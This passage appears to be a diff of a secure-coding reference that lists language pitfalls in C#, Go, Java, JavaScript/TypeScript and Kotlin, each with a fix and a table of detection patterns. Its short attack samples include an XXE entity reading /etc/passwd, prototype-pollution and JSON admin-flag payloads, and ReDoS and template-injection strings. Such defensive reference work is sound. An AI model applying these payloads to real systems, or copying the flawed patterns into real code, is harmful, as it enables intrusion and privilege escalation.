## Lock Pitfalls
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Locking on public object
|
||||
public object SyncRoot = new object();
|
||||
lock (SyncRoot) { } // External code can deadlock
|
||||
|
||||
// DANGEROUS: Locking on this
|
||||
lock (this) { } // External code can lock same object
|
||||
|
||||
// DANGEROUS: Locking on Type
|
||||
lock (typeof(MyClass)) { } // Type objects are shared across AppDomains
|
||||
|
||||
// DANGEROUS: Locking on string
|
||||
lock ("mylock") { } // String interning makes this shared!
|
||||
```
|
||||
|
||||
**Fix**: Lock on private readonly object:
|
||||
```csharp
|
||||
private readonly object _lock = new object();
|
||||
lock (_lock) { }
|
||||
```
|
||||
|
||||
## Finalizers
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Finalizer delays GC and can resurrect objects
|
||||
class Problematic {
|
||||
~Problematic() {
|
||||
// This code runs on finalizer thread
|
||||
// Can't access other managed objects safely
|
||||
GlobalList.Add(this); // Resurrection!
|
||||
}
|
||||
}
|
||||
|
||||
// DANGEROUS: Finalizer without dispose pattern
|
||||
// Object stays in memory longer (finalization queue)
|
||||
```
|
||||
|
||||
**Fix**: Implement dispose pattern, avoid finalizers:
|
||||
```csharp
|
||||
class Proper : IDisposable {
|
||||
private bool _disposed;
|
||||
|
||||
public void Dispose() {
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing) {
|
||||
if (_disposed) return;
|
||||
if (disposing) { /* managed cleanup */ }
|
||||
// unmanaged cleanup
|
||||
_disposed = true;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Event Handler Memory Leaks
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Event handlers keep objects alive
|
||||
class Publisher {
|
||||
public event EventHandler Changed;
|
||||
}
|
||||
|
||||
class Subscriber {
|
||||
public Subscriber(Publisher pub) {
|
||||
pub.Changed += OnChanged; // Subscriber now rooted by Publisher
|
||||
// Even if Subscriber should be collected, it won't be
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Unsubscribe in Dispose or use weak events.
|
||||
|
||||
## Serialization
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: BinaryFormatter is insecure
|
||||
var formatter = new BinaryFormatter();
|
||||
formatter.Deserialize(untrustedStream); // RCE vulnerability
|
||||
|
||||
// Microsoft: "BinaryFormatter is dangerous and is not recommended"
|
||||
// Similar issues with NetDataContractSerializer, SoapFormatter
|
||||
```
|
||||
|
||||
**Fix**: Use JSON, XML with known types, or protobuf.
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `string? x = null; string y = x;` | NRT warning ignored |
|
||||
| `possiblyNull!` | Null suppression |
|
||||
| `new Connection[n]` for structs | Invalid default state |
|
||||
| `SqlConnection` without `using` | Resource leak |
|
||||
| `async void` | Unhandled exceptions |
|
||||
| `.Result` or `.Wait()` on Task | Deadlock |
|
||||
| Missing `await` before async call | Fire and forget |
|
||||
| `.Where()` without materialization | Multiple enumeration |
|
||||
| `string.Equals` without StringComparison | Culture bugs |
|
||||
| `lock (this)` or `lock (typeof(...))` | Deadlock risk |
|
||||
| `BinaryFormatter` | Deserialization RCE |
|
||||
| Event subscription without unsubscription | Memory leak |
|
||||
@@ -0,0 +1,270 @@
|
||||
# Go Sharp Edges
|
||||
|
||||
## Silent Integer Overflow
|
||||
|
||||
```go
|
||||
// DANGEROUS: Overflow wraps silently (no panic!)
|
||||
var x int32 = math.MaxInt32
|
||||
x = x + 1 // Wraps to -2147483648, no error
|
||||
|
||||
// Real vulnerability pattern: size calculations
|
||||
func allocate(count int32, size int32) []byte {
|
||||
total := count * size // Can overflow!
|
||||
return make([]byte, total) // Tiny allocation
|
||||
}
|
||||
```
|
||||
|
||||
**The Problem**: Unlike Rust (debug panics), Go silently wraps. Fuzzing with go-fuzz may never find overflow bugs because they don't crash.
|
||||
|
||||
**Detection**: Arithmetic on integer types, especially:
|
||||
- Multiplication for size calculations
|
||||
- Addition near max values
|
||||
- Conversions between integer sizes
|
||||
|
||||
**Mitigation**: Use `math/bits` overflow-checking functions or check manually.
|
||||
|
||||
## Slice Aliasing
|
||||
|
||||
```go
|
||||
// DANGEROUS: Slices share backing array
|
||||
original := []int{1, 2, 3, 4, 5}
|
||||
slice1 := original[1:3] // {2, 3}
|
||||
slice2 := original[2:4] // {3, 4}
|
||||
|
||||
slice1[1] = 999 // Modifies original AND slice2!
|
||||
// slice2 is now {999, 4}
|
||||
// original is now {1, 2, 999, 4, 5}
|
||||
|
||||
// Also dangerous with append:
|
||||
a := []int{1, 2, 3}
|
||||
b := a[:2] // Shares backing array
|
||||
b = append(b, 4) // May or may not reallocate
|
||||
// Did this modify a[2]? Depends on capacity!
|
||||
```
|
||||
|
||||
**Fix**: Use `copy()` to create independent slices when needed.
|
||||
|
||||
## Interface Nil Confusion
|
||||
|
||||
```go
|
||||
// DANGEROUS: Typed nil vs untyped nil
|
||||
var p *MyStruct = nil
|
||||
var i interface{} = p
|
||||
|
||||
if i == nil {
|
||||
// This is FALSE!
|
||||
// i holds (type=*MyStruct, value=nil)
|
||||
// An interface is only nil if BOTH type AND value are nil
|
||||
}
|
||||
|
||||
// Common in error handling:
|
||||
func getError() error {
|
||||
var err *MyError = nil
|
||||
return err // Returns non-nil error interface!
|
||||
}
|
||||
|
||||
if err := getError(); err != nil {
|
||||
// Always true! Even though underlying pointer is nil
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Return explicit `nil`, not typed nil pointers.
|
||||
|
||||
```go
|
||||
func getError() error {
|
||||
if somethingWrong {
|
||||
return &MyError{}
|
||||
}
|
||||
return nil // Untyped nil - interface will be nil
|
||||
}
|
||||
```
|
||||
|
||||
## JSON Decoder Pitfalls
|
||||
|
||||
```go
|
||||
// DANGEROUS: Case-insensitive field matching
|
||||
type User struct {
|
||||
Admin bool `json:"admin"`
|
||||
}
|
||||
|
||||
// Attacker sends: {"ADMIN": true} or {"Admin": true} or {"aDmIn": true}
|
||||
// ALL match the "admin" field!
|
||||
|
||||
// DANGEROUS: Duplicate keys - last one wins
|
||||
// {"admin": false, "admin": true} → Admin = true
|
||||
// Attacker can hide the true value after a false value
|
||||
|
||||
// DANGEROUS: Unknown fields silently ignored
|
||||
type Config struct {
|
||||
Timeout int `json:"timeout"`
|
||||
}
|
||||
// {"timeout": 30, "timeoutt": 0} - typo silently ignored
|
||||
```
|
||||
|
||||
**Fix**:
|
||||
```go
|
||||
decoder := json.NewDecoder(r.Body)
|
||||
decoder.DisallowUnknownFields() // Reject unknown fields
|
||||
```
|
||||
|
||||
For case-sensitivity, consider alternative JSON libraries or custom UnmarshalJSON.
|
||||
|
||||
## Defer in Loops
|
||||
|
||||
```go
|
||||
// DANGEROUS: All defers execute at function end, not loop iteration
|
||||
func processFiles(files []string) error {
|
||||
for _, file := range files {
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close() // Files stay open until function returns!
|
||||
}
|
||||
// All files open simultaneously - can exhaust file descriptors
|
||||
return nil
|
||||
}
|
||||
|
||||
// SAFE: Use closure to scope defer
|
||||
func processFiles(files []string) error {
|
||||
for _, file := range files {
|
||||
if err := func() error {
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close() // Closes at end of this closure
|
||||
return processFile(f)
|
||||
}(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
```
|
||||
|
||||
## Goroutine Leaks
|
||||
|
||||
```go
|
||||
// DANGEROUS: Goroutine blocked forever
|
||||
func search(query string) string {
|
||||
ch := make(chan string)
|
||||
go func() {
|
||||
ch <- slowSearch(query) // What if nobody reads?
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-ch:
|
||||
return result
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
return "" // Timeout - goroutine blocked forever!
|
||||
}
|
||||
}
|
||||
|
||||
// SAFE: Use buffered channel
|
||||
func search(query string) string {
|
||||
ch := make(chan string, 1) // Buffered - send won't block
|
||||
go func() {
|
||||
ch <- slowSearch(query)
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-ch:
|
||||
return result
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
return "" // Goroutine can still send and exit
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Range Loop Variable Capture
|
||||
|
||||
```go
|
||||
// DANGEROUS (Go < 1.22): Loop variable captured by reference
|
||||
var funcs []func()
|
||||
for _, v := range []int{1, 2, 3} {
|
||||
funcs = append(funcs, func() { fmt.Println(v) })
|
||||
}
|
||||
for _, f := range funcs {
|
||||
f() // Prints: 3, 3, 3 (all capture same v)
|
||||
}
|
||||
|
||||
// SAFE: Copy the variable
|
||||
for _, v := range []int{1, 2, 3} {
|
||||
v := v // Shadow with new variable
|
||||
funcs = append(funcs, func() { fmt.Println(v) })
|
||||
}
|
||||
```
|
||||
|
||||
**Note**: Fixed in Go 1.22 with GOEXPERIMENT=loopvar (default in Go 1.23+).
|
||||
|
||||
## String/Byte Slice Conversion
|
||||
|
||||
```go
|
||||
// DANGEROUS: String to []byte creates a copy
|
||||
s := "large string..."
|
||||
b := []byte(s) // Allocates and copies
|
||||
|
||||
// In hot paths, this can be expensive
|
||||
// But unsafe conversion has its own risks:
|
||||
|
||||
// VERY DANGEROUS: Unsafe conversion allows mutation
|
||||
import "unsafe"
|
||||
s := "immutable"
|
||||
b := *(*[]byte)(unsafe.Pointer(&s))
|
||||
b[0] = 'X' // Modifies "immutable" string - UB!
|
||||
// Strings are supposed to be immutable
|
||||
```
|
||||
|
||||
## Map Concurrent Access
|
||||
|
||||
```go
|
||||
// DANGEROUS: Maps are not goroutine-safe
|
||||
m := make(map[string]int)
|
||||
|
||||
go func() { m["a"] = 1 }()
|
||||
go func() { m["b"] = 2 }()
|
||||
// Data race! Can cause runtime panic or corruption
|
||||
|
||||
// SAFE: Use sync.Map or mutex
|
||||
var m sync.Map
|
||||
m.Store("a", 1)
|
||||
```
|
||||
|
||||
## Error Handling Patterns
|
||||
|
||||
```go
|
||||
// DANGEROUS: Ignoring errors
|
||||
data, _ := ioutil.ReadFile(filename) // Error ignored!
|
||||
|
||||
// DANGEROUS: Error shadowing
|
||||
err := doSomething()
|
||||
if err != nil {
|
||||
err := handleError(err) // Shadows outer err!
|
||||
// Original err handling may be skipped
|
||||
}
|
||||
|
||||
// DANGEROUS: Deferred error ignoring
|
||||
defer file.Close() // Close() returns error, ignored!
|
||||
|
||||
// SAFER:
|
||||
defer func() {
|
||||
if err := file.Close(); err != nil {
|
||||
log.Printf("close failed: %v", err)
|
||||
}
|
||||
}()
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `x * y` with int types | Silent overflow |
|
||||
| `slice[a:b]` without copy | Aliasing |
|
||||
| `return &ConcreteType{}` as interface | Interface nil confusion |
|
||||
| `json.Unmarshal` without DisallowUnknownFields | Field injection |
|
||||
| `defer` inside `for` | Resource leak |
|
||||
| `go func()` with unbuffered channel | Goroutine leak |
|
||||
| Closure in loop capturing loop var | Capture bug (pre-1.22) |
|
||||
| `map` access from multiple goroutines | Data race |
|
||||
| `_, err :=` instead of `_, err =` | Error shadowing |
|
||||
@@ -0,0 +1,263 @@
|
||||
# Java Sharp Edges
|
||||
|
||||
## Equality Confusion
|
||||
|
||||
```java
|
||||
// DANGEROUS: == compares references, not values
|
||||
String a = new String("hello");
|
||||
String b = new String("hello");
|
||||
a == b // FALSE - different objects
|
||||
|
||||
// String interning makes this confusing:
|
||||
String c = "hello";
|
||||
String d = "hello";
|
||||
c == d // TRUE - string literals are interned
|
||||
|
||||
// DANGEROUS: Integer caching boundary
|
||||
Integer x = 127;
|
||||
Integer y = 127;
|
||||
x == y // TRUE - cached in range [-128, 127]
|
||||
|
||||
Integer p = 128;
|
||||
Integer q = 128;
|
||||
p == q // FALSE - outside cache range!
|
||||
```
|
||||
|
||||
**Fix**: Always use `.equals()` for object comparison:
|
||||
```java
|
||||
a.equals(b) // TRUE
|
||||
p.equals(q) // TRUE
|
||||
Objects.equals(a, b) // Null-safe
|
||||
```
|
||||
|
||||
## Type Erasure
|
||||
|
||||
```java
|
||||
// DANGEROUS: Generic types erased at runtime
|
||||
List<String> strings = new ArrayList<>();
|
||||
List<Integer> ints = new ArrayList<>();
|
||||
|
||||
// At runtime, both are just "ArrayList"
|
||||
strings.getClass() == ints.getClass() // TRUE
|
||||
|
||||
// Can't do runtime type checks:
|
||||
if (obj instanceof List<String>) { } // Compile error!
|
||||
|
||||
// Can cast incorrectly:
|
||||
List<?> raw = strings;
|
||||
List<Integer> wrongType = (List<Integer>) raw; // No runtime error!
|
||||
wrongType.get(0); // ClassCastException here, not at cast
|
||||
```
|
||||
|
||||
## Serialization RCE
|
||||
|
||||
```java
|
||||
// DANGEROUS: Like pickle, deserializes arbitrary objects
|
||||
ObjectInputStream ois = new ObjectInputStream(untrustedInput);
|
||||
Object obj = ois.readObject();
|
||||
|
||||
// Even without reading, deserialization triggers:
|
||||
// - readObject() methods
|
||||
// - readResolve() methods
|
||||
// - finalize() (deprecated but still works)
|
||||
|
||||
// "Gadget chains" in libraries enable RCE:
|
||||
// - Commons Collections
|
||||
// - Spring Framework
|
||||
// - Apache libraries
|
||||
// ysoserial tool generates payloads
|
||||
```
|
||||
|
||||
**Fix**: Use JSON or implement `ObjectInputFilter` (Java 9+):
|
||||
```java
|
||||
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
|
||||
"!*" // Reject all classes
|
||||
);
|
||||
```
|
||||
|
||||
## Null Pointer Exceptions
|
||||
|
||||
```java
|
||||
// DANGEROUS: Unboxing null throws NPE
|
||||
Integer value = null;
|
||||
int primitive = value; // NPE!
|
||||
|
||||
// DANGEROUS: Chained calls
|
||||
String name = user.getProfile().getSettings().getName();
|
||||
// NPE if any intermediate is null
|
||||
|
||||
// Optional doesn't help if misused:
|
||||
Optional.of(null); // NPE!
|
||||
optional.get(); // NoSuchElementException if empty
|
||||
```
|
||||
|
||||
**Fix**: Use Optional correctly:
|
||||
```java
|
||||
Optional.ofNullable(value);
|
||||
optional.orElse(default);
|
||||
optional.map(x -> x.transform()).orElse(null);
|
||||
```
|
||||
|
||||
## Checked Exception Swallowing
|
||||
|
||||
```java
|
||||
// DANGEROUS: Empty catch blocks
|
||||
try {
|
||||
sensitiveOperation();
|
||||
} catch (Exception e) {
|
||||
// Silently swallowed - failure masked!
|
||||
}
|
||||
|
||||
// DANGEROUS: Catch-and-log without action
|
||||
try {
|
||||
authenticate();
|
||||
} catch (AuthException e) {
|
||||
log.error("Auth failed", e);
|
||||
// Continues as if authentication succeeded!
|
||||
}
|
||||
|
||||
// DANGEROUS: Over-broad catch
|
||||
try {
|
||||
doWork();
|
||||
} catch (Exception e) { // Catches everything including bugs
|
||||
return defaultValue;
|
||||
}
|
||||
```
|
||||
|
||||
## String Operations
|
||||
|
||||
```java
|
||||
// DANGEROUS: String concatenation in loops
|
||||
String result = "";
|
||||
for (String s : items) {
|
||||
result += s; // Creates new String each iteration
|
||||
}
|
||||
// O(n²) time complexity, memory churn
|
||||
|
||||
// DANGEROUS: split() with regex
|
||||
"a.b.c".split("."); // Empty array! "." is regex for "any char"
|
||||
|
||||
// DANGEROUS: substring() memory (pre-Java 7u6)
|
||||
String huge = loadGigabyteFile();
|
||||
String small = huge.substring(0, 10);
|
||||
// small holds reference to entire huge char[]
|
||||
```
|
||||
|
||||
**Fix**: Use `StringBuilder`, `Pattern.quote(".")`, modern Java.
|
||||
|
||||
## Thread Safety
|
||||
|
||||
```java
|
||||
// DANGEROUS: SimpleDateFormat is not thread-safe
|
||||
static SimpleDateFormat fmt = new SimpleDateFormat("yyyy-MM-dd");
|
||||
|
||||
// Multiple threads calling fmt.parse() = corrupted results
|
||||
|
||||
// DANGEROUS: HashMap not thread-safe
|
||||
Map<String, String> map = new HashMap<>();
|
||||
// Concurrent put() can cause infinite loop!
|
||||
|
||||
// DANGEROUS: Double-checked locking (broken before Java 5)
|
||||
if (instance == null) {
|
||||
synchronized (lock) {
|
||||
if (instance == null) {
|
||||
instance = new Singleton(); // May see partially constructed
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Use `DateTimeFormatter` (immutable), `ConcurrentHashMap`, volatile.
|
||||
|
||||
## Resource Leaks
|
||||
|
||||
```java
|
||||
// DANGEROUS: Resources not closed on exception
|
||||
FileInputStream fis = new FileInputStream(file);
|
||||
// Exception here = fis never closed
|
||||
process(fis);
|
||||
fis.close();
|
||||
|
||||
// DANGEROUS: Close in finally can mask exception
|
||||
FileInputStream fis = null;
|
||||
try {
|
||||
fis = new FileInputStream(file);
|
||||
throw new RuntimeException("oops");
|
||||
} finally {
|
||||
fis.close(); // May throw, masking original exception
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Use try-with-resources:
|
||||
```java
|
||||
try (FileInputStream fis = new FileInputStream(file)) {
|
||||
process(fis);
|
||||
} // Automatically closed, exceptions properly handled
|
||||
```
|
||||
|
||||
## Floating Point
|
||||
|
||||
```java
|
||||
// DANGEROUS: Float/double for money
|
||||
double price = 0.1 + 0.2; // 0.30000000000000004
|
||||
if (price == 0.3) { } // FALSE!
|
||||
|
||||
// DANGEROUS: BigDecimal from double
|
||||
new BigDecimal(0.1); // 0.1000000000000000055511151231257827...
|
||||
```
|
||||
|
||||
**Fix**: Use `BigDecimal` with String constructor:
|
||||
```java
|
||||
new BigDecimal("0.1"); // Exactly 0.1
|
||||
```
|
||||
|
||||
## Reflection
|
||||
|
||||
```java
|
||||
// DANGEROUS: Bypasses access controls
|
||||
Field field = obj.getClass().getDeclaredField("privateField");
|
||||
field.setAccessible(true); // Bypass private!
|
||||
field.set(obj, maliciousValue);
|
||||
|
||||
// Can modify "final" fields (with caveats)
|
||||
// Can invoke private methods
|
||||
// Can break encapsulation entirely
|
||||
```
|
||||
|
||||
## XML Processing (XXE)
|
||||
|
||||
```java
|
||||
// DANGEROUS: Default XML parsers allow XXE
|
||||
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
|
||||
// Default allows: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
|
||||
// DANGEROUS: Even with DTD disabled
|
||||
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
||||
// Still vulnerable to billion laughs without entity limits
|
||||
```
|
||||
|
||||
**Fix**: Disable all external entities:
|
||||
```java
|
||||
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
||||
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
|
||||
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
||||
factory.setXIncludeAware(false);
|
||||
factory.setExpandEntityReferences(false);
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `==` with objects | Reference comparison |
|
||||
| `Integer/Long` comparison with `==` | Cache boundary |
|
||||
| `ObjectInputStream.readObject()` | Deserialization RCE |
|
||||
| Empty `catch` block | Swallowed exception |
|
||||
| `catch (Exception e)` | Over-broad catch |
|
||||
| `String +=` in loop | Performance, memory |
|
||||
| `split(".")` | Regex interpretation |
|
||||
| `static SimpleDateFormat` | Thread safety |
|
||||
| `HashMap` shared across threads | Race condition |
|
||||
| Resources without try-with-resources | Resource leak |
|
||||
| `new BigDecimal(double)` | Precision loss |
|
||||
| `DocumentBuilderFactory.newInstance()` | XXE vulnerability |
|
||||
@@ -0,0 +1,269 @@
|
||||
# JavaScript / TypeScript Sharp Edges
|
||||
|
||||
## Loose Equality Coercion
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: == coerces types unpredictably
|
||||
"0" == false // true
|
||||
"" == false // true
|
||||
"" == 0 // true
|
||||
[] == false // true
|
||||
[] == ![] // true (wat)
|
||||
null == undefined // true
|
||||
|
||||
// Security implications:
|
||||
if (userRole == "admin") { // What if userRole is 0?
|
||||
grantAdmin();
|
||||
}
|
||||
0 == "admin" // false, but...
|
||||
0 == "" // true
|
||||
```
|
||||
|
||||
**Fix**: Always use `===` for strict equality.
|
||||
|
||||
## Prototype Pollution
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: Merging untrusted objects
|
||||
function merge(target, source) {
|
||||
for (let key in source) {
|
||||
target[key] = source[key]; // Includes __proto__!
|
||||
}
|
||||
}
|
||||
|
||||
// Attacker sends: {"__proto__": {"isAdmin": true}}
|
||||
merge({}, JSON.parse(userInput));
|
||||
|
||||
// Now ALL objects have isAdmin
|
||||
({}).isAdmin // true
|
||||
const user = {};
|
||||
user.isAdmin // true - authentication bypassed!
|
||||
|
||||
// Also via constructor.prototype
|
||||
// {"constructor": {"prototype": {"isAdmin": true}}}
|
||||
```
|
||||
|
||||
**Fix**:
|
||||
```javascript
|
||||
// Check for dangerous keys
|
||||
const dangerous = ['__proto__', 'constructor', 'prototype'];
|
||||
if (dangerous.includes(key)) continue;
|
||||
|
||||
// Or use Object.create(null) for dictionary objects
|
||||
const dict = Object.create(null); // No prototype chain
|
||||
|
||||
// Or use Map instead of objects
|
||||
const map = new Map();
|
||||
```
|
||||
|
||||
## Regular Expression DoS (ReDoS)
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: Catastrophic backtracking
|
||||
const regex = /^(a+)+$/;
|
||||
regex.test("aaaaaaaaaaaaaaaaaaaaaaaaaaaa!");
|
||||
// Exponential time - freezes the event loop
|
||||
|
||||
// Dangerous patterns:
|
||||
// - Nested quantifiers: (a+)+, (a*)*
|
||||
// - Overlapping alternatives: (a|a)+
|
||||
// - Greedy quantifiers with overlap: .*.*
|
||||
|
||||
// Real example from ua-parser-js CVE:
|
||||
/\s*(;|\s)\s*/ // Fine
|
||||
/(a|aa)+/ // ReDoS!
|
||||
```
|
||||
|
||||
**Detection**: Look for nested quantifiers or overlapping alternatives in regex.
|
||||
|
||||
## parseInt Without Radix
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: Behavior varies
|
||||
parseInt("08"); // 8 (modern JS), was 0 in ES3 (octal)
|
||||
parseInt("0x10"); // 16 - hex prefix always recognized
|
||||
parseInt("10", 0); // 10 or error depending on engine
|
||||
parseInt("10", 1); // NaN - radix 1 invalid
|
||||
|
||||
// DANGEROUS: Unexpected results
|
||||
parseInt("123abc"); // 123 - stops at first non-digit
|
||||
parseInt("abc123"); // NaN - starts with non-digit
|
||||
```
|
||||
|
||||
**Fix**: Always specify radix: `parseInt("08", 10)`
|
||||
|
||||
## This Binding
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: 'this' depends on how function is called
|
||||
const obj = {
|
||||
value: 42,
|
||||
getValue: function() { return this.value; }
|
||||
};
|
||||
|
||||
obj.getValue(); // 42
|
||||
const fn = obj.getValue;
|
||||
fn(); // undefined - 'this' is global/undefined
|
||||
|
||||
// DANGEROUS: In callbacks
|
||||
setTimeout(obj.getValue, 100); // 'this' is global/undefined
|
||||
|
||||
// DANGEROUS: In event handlers
|
||||
button.addEventListener('click', obj.getValue); // 'this' is button
|
||||
```
|
||||
|
||||
**Fix**: Use arrow functions or `.bind()`.
|
||||
|
||||
## Array Methods That Mutate
|
||||
|
||||
```javascript
|
||||
// These MUTATE the original array:
|
||||
arr.push(x); // Adds to end
|
||||
arr.pop(); // Removes from end
|
||||
arr.shift(); // Removes from start
|
||||
arr.unshift(x); // Adds to start
|
||||
arr.splice(i, n); // Removes/inserts
|
||||
arr.sort(); // Sorts IN PLACE
|
||||
arr.reverse(); // Reverses IN PLACE
|
||||
arr.fill(x); // Fills IN PLACE
|
||||
|
||||
// These return NEW arrays:
|
||||
arr.slice();
|
||||
arr.concat();
|
||||
arr.map();
|
||||
arr.filter();
|
||||
|
||||
// DANGEROUS: Sorting numbers
|
||||
[1, 10, 2].sort(); // [1, 10, 2] - string comparison!
|
||||
// Fix: [1, 10, 2].sort((a, b) => a - b); // [1, 2, 10]
|
||||
```
|
||||
|
||||
## Type Coercion in Operations
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: + is overloaded for concatenation
|
||||
"5" + 3 // "53" (string)
|
||||
5 + "3" // "53" (string)
|
||||
5 - "3" // 2 (number)
|
||||
"5" - 3 // 2 (number)
|
||||
|
||||
// DANGEROUS: Comparison with type coercion
|
||||
"10" > "9" // false (string comparison: "1" < "9")
|
||||
"10" > 9 // true (numeric comparison)
|
||||
```
|
||||
|
||||
## eval and Dynamic Code
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: eval executes arbitrary code
|
||||
eval(userInput);
|
||||
|
||||
// DANGEROUS: Function constructor
|
||||
new Function(userInput)();
|
||||
|
||||
// DANGEROUS: setTimeout/setInterval with string
|
||||
setTimeout(userInput, 1000); // Executes as code!
|
||||
|
||||
// DANGEROUS: Template injection
|
||||
const template = userInput; // "${process.exit()}"
|
||||
eval(`\`${template}\``);
|
||||
```
|
||||
|
||||
## Object Property Access
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: Bracket notation with user input
|
||||
const obj = { admin: false };
|
||||
const key = userInput; // Could be "__proto__", "constructor", etc.
|
||||
obj[key] = true; // Prototype pollution!
|
||||
|
||||
// DANGEROUS: in operator checks prototype chain
|
||||
"toString" in {} // true - inherited from Object.prototype
|
||||
|
||||
// Fix: Use hasOwnProperty
|
||||
({}).hasOwnProperty("toString") // false
|
||||
Object.hasOwn({}, "toString") // false (ES2022)
|
||||
```
|
||||
|
||||
## Async/Await Pitfalls
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: Unhandled promise rejection
|
||||
async function riskyOperation() {
|
||||
throw new Error("oops");
|
||||
}
|
||||
riskyOperation(); // Unhandled rejection - may crash Node.js
|
||||
|
||||
// DANGEROUS: Missing await
|
||||
async function process() {
|
||||
validateInput(); // Forgot await - validation not complete!
|
||||
doSensitiveOperation();
|
||||
}
|
||||
|
||||
// DANGEROUS: Sequential when parallel is possible
|
||||
async function slow() {
|
||||
const a = await fetchA(); // Waits
|
||||
const b = await fetchB(); // Then waits
|
||||
return a + b;
|
||||
}
|
||||
|
||||
// Better: parallel
|
||||
async function fast() {
|
||||
const [a, b] = await Promise.all([fetchA(), fetchB()]);
|
||||
return a + b;
|
||||
}
|
||||
```
|
||||
|
||||
## JSON Parse Issues
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: __proto__ in JSON
|
||||
JSON.parse('{"__proto__": {"isAdmin": true}}');
|
||||
// Creates object with __proto__ key, but doesn't pollute
|
||||
|
||||
// However, if merged into another object:
|
||||
Object.assign({}, JSON.parse(userInput));
|
||||
// Can pollute if userInput has __proto__
|
||||
|
||||
// DANGEROUS: Large numbers lose precision
|
||||
JSON.parse('{"id": 9007199254740993}');
|
||||
// id becomes 9007199254740992 (precision loss)
|
||||
```
|
||||
|
||||
## TypeScript-Specific
|
||||
|
||||
```typescript
|
||||
// DANGEROUS: Type assertions bypass checking
|
||||
const user = userData as Admin; // No runtime check!
|
||||
user.adminMethod(); // Runtime error if not actually Admin
|
||||
|
||||
// DANGEROUS: any escapes type system
|
||||
function process(data: any) {
|
||||
data.whatever(); // No type checking
|
||||
}
|
||||
|
||||
// DANGEROUS: Non-null assertion
|
||||
function greet(name: string | null) {
|
||||
console.log(name!.toUpperCase()); // Crash if null!
|
||||
}
|
||||
|
||||
// DANGEROUS: Type guards can lie
|
||||
function isAdmin(user: User): user is Admin {
|
||||
return true; // Wrong! TypeScript trusts this
|
||||
}
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `==` instead of `===` | Type coercion bugs |
|
||||
| `obj[userInput]` | Prototype pollution |
|
||||
| `/__proto__|constructor|prototype/` in merge | Pollution vectors |
|
||||
| `(a+)+`, `(.*)+` in regex | ReDoS |
|
||||
| `parseInt(x)` without radix | Parsing inconsistency |
|
||||
| `eval(`, `Function(`, `setTimeout(string` | Code execution |
|
||||
| `.sort()` on numbers without comparator | String sort |
|
||||
| `as Type` assertions | Runtime type mismatch |
|
||||
| `!` non-null assertion | Null pointer crash |
|
||||
| Missing `await` before async call | Race condition |
|
||||
@@ -0,0 +1,265 @@
|
||||
# Kotlin Sharp Edges
|
||||
|
||||
## Platform Types from Java
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Java interop returns "platform types" (Type!)
|
||||
val result = javaLibrary.getValue() // Type: String! (platform type)
|
||||
result.length // NPE if Java returned null!
|
||||
|
||||
// Kotlin doesn't know if Java code can return null
|
||||
// Platform types bypass null safety
|
||||
|
||||
// Even "safe" Java annotations may not be recognized:
|
||||
// @NotNull in Java doesn't guarantee Kotlin sees it correctly
|
||||
```
|
||||
|
||||
**Fix**: Explicitly declare nullability when calling Java:
|
||||
```kotlin
|
||||
val result: String? = javaLibrary.getValue() // Treat as nullable
|
||||
val result: String = javaLibrary.getValue() // Throws if null
|
||||
```
|
||||
|
||||
## Not-Null Assertion (!!)
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: !! throws on null
|
||||
val value = nullableValue!! // KotlinNullPointerException
|
||||
|
||||
// Common antipattern:
|
||||
val user = findUser(id)!! // "I know it's not null"
|
||||
// Famous last words
|
||||
|
||||
// DANGEROUS: Chained assertions
|
||||
val name = user!!.profile!!.name!! // Triple jeopardy
|
||||
```
|
||||
|
||||
**Fix**: Use safe calls and elvis operator:
|
||||
```kotlin
|
||||
val value = nullableValue ?: return
|
||||
val value = nullableValue ?: throw IllegalStateException("...")
|
||||
val name = user?.profile?.name ?: "default"
|
||||
```
|
||||
|
||||
## Lateinit
